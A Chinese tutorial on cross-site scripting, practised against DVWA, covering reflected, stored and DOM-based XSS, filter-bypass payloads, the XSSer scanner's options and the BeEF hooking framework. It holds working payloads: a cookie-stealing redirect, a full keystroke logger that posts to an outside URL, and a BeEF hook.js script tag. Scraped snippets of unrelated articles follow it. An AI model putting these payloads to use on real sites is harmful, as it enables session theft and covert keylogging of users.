常见的Web漏洞——XSS

目录

XSS简介

XSS原理及分类

反射型XSS

存储型XSS

基于DOM的XSS

XSSer的使用

至少有一个的参数:

可选的参数:

检查选项

选择攻击向量

绕过防火墙选项

绕过器选项

特殊技术

最后注入选项

特殊最后注入选项

报告导出

XSSer演示

BeEF-XSS

漏洞的防范

总结


XSS简介

XSS是跨站脚本攻击(Cross Site Scripting)的简写,为了不与层叠样式表混淆而改写的。此漏洞也是网站存在相当多的漏洞,仅次于SQL注入,攻击者可以使用XSS来绕过访问控制,如同源策略。利用XSS可以窃取账号,网页挂马,发动拒绝服务攻击,发送垃圾邮件等等。

XSS原理及分类

XSS形成的原因与SQL注入类似,也是由于程序员在开发过程中没有对用户提交的恶意数据做过滤,转义而直接输出到页面,导致用户可以利用此漏洞执行JavaScript,HTML等代码,和SQL注入不同的是XSS不一定要和数据库交互。XSS没有单一的、标准的分类,一般可以分为非持久型(反射型)、持久型(存储型)。通常人们也增加了第三种——基于DOM的XSS。反射型XSS指用户提交的数据没有存储在数据库中而是直接输出到页面,不具有存储性,一次提交只能执行一次。存储型XSS指用户提交的数据存储在了数据库,用户每一次访问都会触发XSS,一次提交可以一直执行,其危害是XSS中最大的。基于DOM的XSS指用户可以修改浏览器中的DOM节点并显示在浏览器上,从而产生XSS。XSS的分类并不那么重要,如果非要死磕到底,这里有一篇个人觉得很不错的博客那些年我们看不懂的XSS,看不懂没关系,以后再看。

反射型XSS

使用DVWA来学习XSS的利用方法,登录DVWA,设置安全等级为low,然后先来学习一下反射型XSS的利用方法,点击XSS(Reflected),如图,输入什么就会显示Hello+输入的内容:

点击View Source查看源代码,如图:

可见,源码中没有对用户提交的数据做任何处理,只是简单判断如果提交的数据是否存在且不为空,就输出Hello+提交的内容,利用此漏洞提交一个JavaScript弹窗代码:<script>alert('反射型XSS')</script>,和SQL注入类似,可以通过表单提交,也可以通过URL提交,不过通过URL提交有时需要进行url编码,如图通过表单提交的结果:

构造获取cookie的JavaScript代码:<script>alert(document.cookie)</script>,如图:

构造页面跳转JavaScript代码:<script>location='https://www.baidu.com'</script>,提交即可自动跳转,如图:

假设这台主机同时也是攻击者的远程主机,在wamp64目录下的www目录下创建文件夹test,在test下新建cookie.php,写入如图所示代码:

此时,构造获取cookie并发送到远程主机的JavaScript代码:<script>document.location='http://127.0.0.1/test/cookie.php?cookie='+document.cookie</script>,提交之后就会获取cookie并发送到远程主机,以GET方式传递给变量cookie,远程主机就会执行上图代码,创建一个cookie.txt的文件,并写入cookie,如图:

提交之后会把cookie提交到远程主机,打开test目录会发现多了一个cookie.txt文件,打开可以看到获取到的cookie。

然后设置安全等级为medium,然后同刚才一样,我们查看一下代码:

可以看到代码只是将输入的字符串使用str_replace函数中进行过滤,该函数将“<script>”替换为空字符,且只替换一次,区分大小写,构造payload:<scr<script>ipt>alert('xss')</script>,也可以使用其他标签,如<img src="" οnerrοr="alert('xss')">,提交之后如图:

也可以使用javascript中的编码还原函数进行绕过:<img src="" οnerrοr="eval(String.fromCharCode(97,108,101,114,116,40,39,120,120,115,39,41))"></img>,提交之后如图:

然后设置安全等级为High,然后查看一下代码:

发现使用preg_replace函数对输入进行的过滤,且使用正则表达式匹配了所有的<script>字符串,该函数不区分大小写,因此我们无法再使用<script>标签,但是我们可以使用其他的标签,如a标签,img标签等,构造payload:<img src="" οnerrοr="alert('xss')"><img src="" οnerrοr="eval(String.fromCharCode(97,108,101,114,116,40,39,120,120,115,39,41))"></img>,如图:

反射型XSS的利用需要结合社会工程学去引诱受害者点击链接,它有个明显的缺点就是太容易被发现了,即使使用url编码把可疑字符编码也和容易让人产生怀疑,除非将恶意链接映射为短域名。

存储型XSS

设置安全等级为low,查看源代码,如图:

发现并未对输入的name和massage做任何过滤操作就直接插入数据库,输入过程中发现前端对两个输入框都做了输入长度限制,但可以通过改html代码实现,因此使用上边的弹框代码测试,如图:

退出之后重新登录在查看,依旧会弹框,如果使用payload:<script>window.location.href="http://www.baidu.com"</script>,你会发现只要访问刚才的页面就会直接跳转到百度首页,如果把百度的网址改成挂有木马的网址、钓鱼网站可以对用户造成不小的影响,如果结合metasploit,利用浏览器漏洞如MS14_064等,可以直接对用户的计算机远程控制。

插入JavaScript键盘记录代码:

<script type="text/javascript">var keystring = "";//记录按键的字符串function $(s){return document.getElementById(s)?document.getElementById(s):s;}function keypress(e){var currKey=0,CapsLock=0,e=e||event;currKey=e.keyCode||e.which||e.charCode;CapsLock=currKey>=65&&currKey<=90;switch(currKey){//屏蔽了退格、制表、回车、空格、方向键、删除键,因为keypress只能针对一些可以打印出来的字符有效,而对于功能按键,如F1-F12、Backspace、Enter、Escape、PageUP、PageDown和箭头方向等,就不会产生keypress事件,但是可以产生keydown和keyup事件。然而在FireFox中,功能按键是可以产生keypress事件的。case 8: case 9:case 13:case 32:case 37:case 38:case 39:case 40:case 46:keyName = "";break;default:keyName = String.fromCharCode(currKey); break;}keystring += keyName;}function keydown(e){var e=e||event;var currKey=e.keyCode||e.which||e.charCode;if((currKey>7&&currKey<14)||(currKey>31&&currKey<47)){switch(currKey){case 8: keyName = "[退格]"; break;case 9: keyName = "[制表]"; break;case 13:keyName = "[回车]"; break;case 32:keyName = "[空格]"; break;case 33:keyName = "[PageUp]";   break;case 34:keyName = "[PageDown]";   break;case 35:keyName = "[End]";   break;case 36:keyName = "[Home]";   break;case 37:keyName = "[方向键左]";   break;case 38:keyName = "[方向键上]";   break;case 39:keyName = "[方向键右]";   break;case 40:keyName = "[方向键下]";   break;case 46:keyName = "[删除]";   break;default:keyName = "";    break;}keystring += keyName;}$("content").innerHTML=keystring;}function keyup(e){$("content").innerHTML=keystring;}document.onkeypress=keypress;document.onkeydown =keydown;document.onkeyup =keyup;function loadXMLDoc(){var xmlhttp;if (window.XMLHttpRequest){// code for IE7+, Firefox, Chrome, Opera, Safarixmlhttp=new XMLHttpRequest();}else{// code for IE6, IE5xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");}xmlhttp.onreadystatechange=function(){if (xmlhttp.readyState==4 && xmlhttp.status==200){document.getElementById("myDiv").innerHTML=xmlhttp.responseText;}}xmlhttp.open("POST","http://www.test.com",true);xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");<!-- send的参数的规则是,用“=”间隔name和body,“&”间隔条目,下面这行会在name中显示“keystring”,value中显示keystring的值 -->xmlhttp.send("keystring="+keystring);}    <!-- 如果下面用下面这行,则在关闭前弹出对话框。 --><!-- window.onbeforeunload = function() { return "网站被黑了"+ keystring;} -->window.onbeforeunload = function() { loadXMLDoc();}</script>

可以记录用户的按键信息并发送到指定url。

设置安全等级为medium,查看代码:

发现过滤了name中的<script>标签,使用上面的方法同样可以绕过。但是使用htmlspecialchars转义了message中的关键字,因此无法再这里使用XSS。然后设置安全等级为High,查看代码:

message部分依旧无法利用XSS,name部分完全过滤了script标签,因此使用img标签依旧可以利用XSS。

基于DOM的XSS

基于DOM的XSS一般不与服务器进行交互,通过浏览器读取用户的数据交给DOM树,设置安全等级为Low,查看源代码发现后台没有任何代码,然后点击页面中的select按钮,可以看到url中使用GET提交了default参数,值为English,然后查看网页源代码:

发现JavaScript直接将传入的default参数的值赋值给option标签的属性和文本,因此,构造payload:<script>alert('xss')</script>,替换url中default的值,提交后如图:

使用payload:<script>alert(document.cookie)</script>,同样可以获取到cookie值,如图:

设置安全等级为Medium,查看源代码:

发现服务器端对参数default的值进行了过滤,且不区分大小写,查看网页源代码发现前端并没有对传入的参数进行过滤处理,因此可以在payload前加“#”,从而使其不发送到服务器端,只发送到浏览器,同样也可以使用img标签代替script标签执行JavaScript脚本:

设置安全等级为High,查看源代码发现服务端使用了白名单,但是仍然可以使用“#”进行绕过,方法同上。

XSSer的使用

XSSer是一个自动化的XSS漏洞检测和利用工具,支持控制台和图形界面,功能非常强大,Kali Linux中以及内置有该工具,因此可以直接使用。XSSer常用的参数如下:

至少有一个的参数:

-u, --url                         目标URL

-i,READFILE                url文件(批量检测url)

-d,DORK                      利用搜索引擎搜索URL(如搜索包含“search.php?id=”的url使用“-d "search.php?id="”)

--De=DORK_ENGINE    指定搜索引擎(如google等,支持的搜索引擎较少,需配合-d参数一起使用)

--Da                                使用XSSer提供的所有搜索引擎(需配合-d参数一起使用)

可选的参数:

 -s,--statistics               显示高级输出结果(包含HTTP状态码,payload是否执行等信息)

 -v,--verbose                激活冗余模式输出结果(显示详细信息,包含HTTP请求头、响应头和payload执行情况等信息)

 --gtk                               以图像界面启动

 --imx=IMX                      使用xss插入图像(如--imx image.png)

 --fla=FLASH                  用XSS插入Flash视频(--fla movie.swf)

 --xst=XST                      跨站点跟踪(如--xst http(s)://host.com)

 -g,GETDATA               使用GET请求发送payload(如-g /search.php?id=)

 -p,POSTDATA             使用POST请求发送payload(如-p "name=a&pass=b")

 -c,CRAWLING            目标上要爬行的URL数:1-99999

 --Cw=CRAWLER_WIDTH       爬行深度:1-5

 --Cl                                 仅对本地目标URL进行爬网(默认为true)

 --cookie=COOKIE          修改HTTP请求头中的Cookie

 --drop-cookie                  忽略响应头中的Set-Cookie

 --user-agent=AGENT     修改HTTP请求头中的User-Agent(默认为SPOOFED)

 --referer=REFERER       使用其他的HTTP referer(默认为NONE)

 --xforw                            设置X-Forwarded-For为随机IP

 --xclient                          设置X-Client-IP为随机IP

 --headers=HEADERS    添加额外的Headers,使用换行符分割

 --auth-type=ATYPE       设置HTTP身份验证类型(如Basic, Digest, GSS or NTLM)

 --auth-cred=ACRED      HTTP身份验证凭据(如name:password)

 --proxy=PROXY             设置代理服务器

 --ignore-proxy                忽略系统默认的HTTP代理

 --timeout=TIMEOUT      设置响应超时时间

 --retries=RETRIES        连接超时时重试(默认为1)

 --threads=THREADS    线程数(默认为5)

 --delay=DELAY             每个HTTP请求之间的延迟,单位为秒(默认为0)

检查选项

--heuristic                     检查过滤的字符

--checkaturl=ALT          检查备用的url,使用Blind XSS

--checkatdata=ALD      检查备用的payload

--reverse-check            建立从目标到XSSER的反向连接,以证明100%易受攻击(推荐!)

选择攻击向量

--payload=SCRIPT       使用自定义的XSS payload

--auto                            使用XSSer提供的攻击向量

绕过防火墙选项

--Phpids0.6.5                PHPIDS (0.6.5) [ALL]

--Phpids0.7                   PHPIDS (0.7) [ALL]

--Imperva                      Imperva Incapsula [ALL]

--Webknight                  WebKnight (4.1) [Chrome]

--F5bigip                       F5 Big IP [Chrome + FF + Opera]

--Barracuda                  Barracuda WAF [ALL]

--Modsec                      Mod-Security [ALL]

--Quickdefense             QuickDefense [Chrome]

绕过器选项

--Str                              使用String.FromCharCode()进行绕过(即Unicode编码绕过)

--Une                            使用Unescape()进行绕过(即URL编码绕过)

--Mix                             使用Unicode编码和URL编码绕过

--Dec                            使用十进制编码绕过

--Hex                            使用十六进制编码绕过

--Hes                            使用带分号的十六进制编码绕过

--Dwo                           使用DWORD(双字)编码IP地址

--Doo                            使用八进制编码IP地址

--Cem=CEM                 使用多种编码方式结合(如Mix,Une,Str,Hex)

特殊技术

--Coo                            跨站脚本Cookie注入

--Xsa                            跨站脚本Agent注入

--Xsr                             跨站点引用脚本

--Dcp                            数据控制协议注入

--Dom                           DOM型注入

--Ind                              HTTP响应拆分诱导代码

--Anchor                       使用Anchor隐身payload(DOM 影子)

最后注入选项

--Fp=FINALPAYLOAD      利用自己的代码

--Fr=FINALREMOTE        利用远程脚本

--Doss                               XSS服务的拒绝服务

--Dos                                 XSS客户端拒绝服务

--B64                                 使用Base64编码标签

特殊最后注入选项

--Onm                         使用onMouseMove()事件(即鼠标移动出发payload)

--Ifr                              使用iframe标签自动加载

报告导出

--save                          导出为文本文档,在/usr/share/xsser/XSSreport.raw

--xml=FILEXML           导出为xml文件(如report.xml)

XSSer演示

接下来使用XSSer对dvwa进行测试,在测试中我遇到了问题:在Kali 2019.2版本中使用系统自带的xsser 1.7b怎么都测不出来,因此我卸载了xsser1.7vb安装了xsser 1.6版本,1.6版本使用的beautifulsoup模块而1.7版本使用的是beautifulsoup4模块,因此需要安装beautifulsoup模块(pip install beautifulsoup)。

以反射型XSS为例,查看cookie信息,如图:

将名称和值记录下来,使用XSSer检测是否存在XSS漏洞(xsser -u "http://192.168.88.131/dvwa/vulnerabilities/xss_r/?name=" --cookie "security=low;PHPSESSID=1gcpm1407sbsngpu1g41dsj4u1" -v):

以存储型XSS为例,测试(xsser -u "http://192.168.88.131/dvwa/vulnerabilities/xss_s/" --cookie "security=low;PHPSESSID=1gcpm1407sbsngpu1g41dsj4u1" -p "btnSign=Sign+Guestbook&mtxMessage=b&txtName="),结果没测出来,尝试别的选项也无法测试出来,我改变我的看法了,XSSer也就是个一般脚本,还不如手工测试方便,误报太高了,原理很容易理解:提交payload,然后分析返回的html页面是否存在payload,我们自己也可以写一个。

BeEF-XSS

BeEF-XSS可以说是最强大的XSS漏洞利用工具,可以收集浏览器信息、键盘记录、社会工程等,还可以结合Metasploit进行攻击。要做到这些只需在受害者的网页中插入<script src="http://hacker.host:3000/hook.js"></script>即可,总之就是需要受害者客户端加载该js文件。

在终端输入beef-xss就可以启动该程序,初次使用会提示你设置密码,如果需要和metasploit配合使用的话,需要修改BeEF的配置文件,将/usr/share/beef-xss/config.yaml打开,搜索metasploit,将enable: false改为enable: true,然后将/usr/share/beef-xss/extensions/demos/config.yaml打开,将enable: false改为enable: true即可。

启动beef-xss后会自动打开登录界面,用户名为beef,密码为你设置的密码,登录之后如图:

左侧会显示受害者主机,中间部分是入门使用方法。日志会记录受害者的操作,如鼠标移动,键盘按键信息等,已DVWA中的反射型XSS为例,提交<script src="http://192.168.88.132:3000/hook.js"></script>:

可以在beef-xss控制面板看到左侧显示了受害者浏览器、IP地址、操作系统等信息:

接着在受害者端输入框输入aaaaa,不提交,如图:

在BeEF控制面板当前浏览器选项下边的日志中可以看到:

在命令选项里,左侧有各种命令,各按钮的颜色代表的含义在入门选项里,选择播放声音命令,设置声音文件路径,点击执行,然后受害者就可以听到声音了,如图:

检测弹出窗口阻止程序,双击模块结果,可以在右侧看到命令执行结果,如图:

功能非常多,此外在社会工程学模块有很多有意思的东西,可以自行尝试。这里有篇博客写的也不错http://www.vuln.cn/6966

漏洞的防范

和SQL注入一样,XSS漏洞也是注入型漏洞,不能相信用户的输入,对用户的输入进行过滤,将用户的输入使用escapeHTML()进行转义,只要过滤的够严格就不怕有XSS。

总结

本文讲解了XSS 漏洞形成的原因、测试该漏洞的方法、一些简单的利用方法以及XSSer和BeEF-XSS的使用方法,且仅讲解了常见的有回显的XSS,对于禁用了弹框、无回显的XSS需要查看网页源代码中是否含有我们插入的payload来进行判断。本文讲解的内容较为基础,若要深入学习,推荐阅读《XSS跨站脚本攻击剖析与防御》。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/1620576.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

【burpsuite安全练兵场-服务端6】信息泄露漏洞-5个实验(全)

前言&#xff1a; 介绍&#xff1a; 博主&#xff1a;网络安全领域狂热爱好者&#xff08;承诺在CSDN永久无偿分享文章&#xff09;。 殊荣&#xff1a;CSDN网络安全领域优质创作者&#xff0c;2022年双十一业务安全保卫战-某厂第一名&#xff0c;某厂特邀数字业务安全研究员&…

XSS攻击是怎么回事?记录一下

title: XSS攻击 date: 2023-08-27 19:15:57 tags: [XSS, 网络安全] categories: 网络安全 今天学习了一个网络攻击的手段&#xff0c;XSS攻击技术&#xff0c;大家自建网站的朋友&#xff0c;记得看看是否有此漏洞。 &#x1f388; XSS 攻击 全称跨站脚本攻击 Cross Site Sc…

基于JAVA_Swing的图形化GUI漏洞扫描工具开发的编程思维

文章目录 前言一、工具外观整体设计二、漏洞检测类模块总结2022年6月27日更新此篇 前言 CSDN博客有很长一段时间没有更新&#xff0c;漏洞复现的文章也没有经常发了&#xff0c;原因是因为我这段时间在做一件大事&#xff0c;并且这件大事已经做完啦&#xff01;&#xff01;&…

Xray工具~(Web自动化漏洞检测)

Web自动化漏洞检测~Xray工具 下载地址: GitHub&#xff1a;https : //github.com/chaitin/xray/releases Xray 是一款功能强大的安全评估工具,主要特性有: 检测速度快。发包速度快; 漏洞检测算法高效。 支持范围广。大至 OWASP Top 10 通用漏洞检测&#xff0c;小至各种 CMS 框…

Arp欺骗截cookies入侵“中国黑客”网站(图)

放假回家&#xff0c;暂时没有自己的电脑&#xff0c;只能跑网吧。打开ie就看见网吧主页。。。这个网吧是我家附近作的最好的。在这里玩过几次&#xff0c;也提醒过老板一些漏洞。不过漏洞天天更新么~ 是个2级域名111.lzbiz.com。换成www&#xff0c;竟然是个黑客网站。。。名…

目标URL存在跨站漏洞

URL存在跨站漏洞 &#x1f696;漏洞复现&#x1f696;漏洞描述&#x1f696;解决方法&#x1f696;对于开发&#x1f696;对于安全操作&#x1f696;对于质量保证 &#x1f696;漏洞复现 记录学习中遇到的问题 该页面存在反射型XSS payload citynull&accountnull&pa…

我的第一次真实对国外某购物平台web漏洞挖掘

&#xff08;真实世界&#xff09;我的第一次真实对国外某购物平台web漏洞挖掘 开放重定向 - 低危XSS - 低危 这两组合起来就完全不一样一点的&#xff0c;个人觉得比原本高一些 危害&#xff1a;窃取用户敏感数据、用户cookie、钓鱼操作 等… 前言 这是我第一次&#xff…

对某代刷网站的渗透测试

0x01 今天闲来无事&#xff0c;在网上冲浪看帖&#xff0c;看到有个人发了一个代刷网站链接&#xff0c;出于好奇就点进去看了下&#xff0c;一看&#xff0c;好家伙&#xff0c;业务还挺多啊。可惜都要钱&#xff0c;咱可没钱&#xff01; 0x02 然后便想看看有没有办法白嫖&…

基于JavaFx的ThinkPHP漏洞扫描工具---RexHa(Aazhen)的一些说明

文章目录 吹水环节一、工具的功能&#xff08;新旧版本对比&#xff09;二、工具的使用与操作2.1 工具新旧版展示2.2 漏洞单个扫描验证功能展示2.2.1 Thinkphp-2.x rce--&#x1f44c;&#x1f3fb;2.2.2 ThinkPHP-5.0.23-RCE--&#x1f44c;&#x1f3fb;2.2.3 ThinkPHP5.0.x-…

渗透测试中真实IP

发现了一篇两年前的好文章&#xff0c;转载给大家看看&#xff0c;方便自己以后查阅。 CDN简介 CDN的全称是Content Delivery Network&#xff0c;即内容分发网络。其基本思路是尽可能避开互联网上有可能影响数据传输速度和稳定性的瓶颈和环节&#xff0c;使内容传输的更快、更…

常见的安全测试漏洞

一、SQL注入攻击 SQL 注入攻击主要是由于程序员在开发过程中没有对客户端所传输到服务器端的参数进行严格的安全检查&#xff0c;同时 SQL 语句的执行引用了该参数&#xff0c;并且 SQL 语句采用字符串拼接的方式执行时&#xff0c;攻击者将可能在参数中插入恶意的 SQL 查询语…

检测到目标URL存在http host头攻击漏洞,修复方案:在Web服务器防止Host头攻击

一、前言 漏洞描述&#xff1a;为了方便的获得网站域名&#xff0c;开发人员一般依赖于HTTP Host header。例如&#xff0c;在php里用_SERVER[“HTTP_HOST”]。但是这个header是不可信赖的&#xff0c;如果应用程序没有对host header值进行处理&#xff0c;就有可能造成恶意代…

一次简单的渗透测试,快来测测P站有没有漏洞吧!

前言 下午闲来无事&#xff0c;拿自己站玩玩&#xff0c;也算是一次比较完备地漏洞挖掘。文末插入福利 信息搜集 在fofa上找到一个后台的站。 一个普通的后台&#xff0c;弱口令&#xff0c;sql注入没打进去。 从错误路由中得知框架是tp的 这个版本是存在RCE漏洞的 直接嗦…

Git企业开发控制理论和实操-从入门到深入(五)|标签管理

前言 那么这里博主先安利一些干货满满的专栏了&#xff01; 首先是博主的高质量博客的汇总&#xff0c;这个专栏里面的博客&#xff0c;都是博主最最用心写的一部分&#xff0c;干货满满&#xff0c;希望对大家有帮助。 高质量博客汇总 然后就是博主最近最花时间的一个专栏…

如何使用腾讯云服务器搭建网站?

使用腾讯云服务器搭建网站全流程&#xff0c;包括轻量应用服务器和云服务器CVM建站教程&#xff0c;轻量可以使用应用镜像一键建站&#xff0c;云服务器CVM可以通过安装宝塔面板的方式来搭建网站&#xff0c;腾讯云服务器网分享使用腾讯云服务器建站教程&#xff0c;新手站长搭…

iOS swift5 扫描二维码

文章目录 1.生成二维码图片2.扫描二维码&#xff08;含上下扫描动画&#xff09;2.1 记得在info.plist中添加相机权限描述 1.生成二维码图片 import UIKit import CoreImagefunc generateQRCode(from string: String) -> UIImage? {let data string.data(using: String.En…

使用windeployqt和InstallShield打包发布Qt软件的流程

前言 Qt编译之后需要打包发布&#xff0c;并且发布给用户后需要增加一个安装软件&#xff0c;通过安装软件可以实现Qt软件的安装&#xff1b;用于安装软件的软件有很多&#xff0c;这里主要介绍InstallShield使用的流程&#xff1b; 使用windeployqt打包Qt编译后的程序 Qt程序…

【论文笔记】最近看的时空数据挖掘综述整理8.27

Deep Learning for Spatio-Temporal Data Mining: A Survey 被引用次数&#xff1a;392 [Submitted on 11 Jun 2019 (v1), last revised 24 Jun 2019 (this version, v2)] 主要内容&#xff1a; 该论文是一篇关于深度学习在时空数据挖掘中的应用的综述。论文首先介绍了时空数…

有了二建证,对工资有多大提升?华通教育双十二建造师课程优惠来袭!

一开始每个月多1500工资&#xff0c; 现在算&#xff0c;差不多一个月多4000工资。 给大家分享一下考证之后带来的收益。文中妹子&#xff0c;刚毕业1500多的实习工资&#xff0c;考证后4000。 二建呢&#xff0c;其实它的作用是让你有机会进入工程行业&#xff0c;算是一块敲…

亿华通冲刺港股:年营收超6亿 业绩受申龙客车和中植汽车拖累

雷递网 雷建平 1月31日报道 北京亿华通科技股份有限公司&#xff08;简称&#xff1a;“亿华通”&#xff09;日前递交招股书&#xff0c;准备在香港上市。 亿华通是2020年8月在科创板上市&#xff0c;发行价为76.65元&#xff0c;发行17,630,523股&#xff0c;募集资金13.5亿元…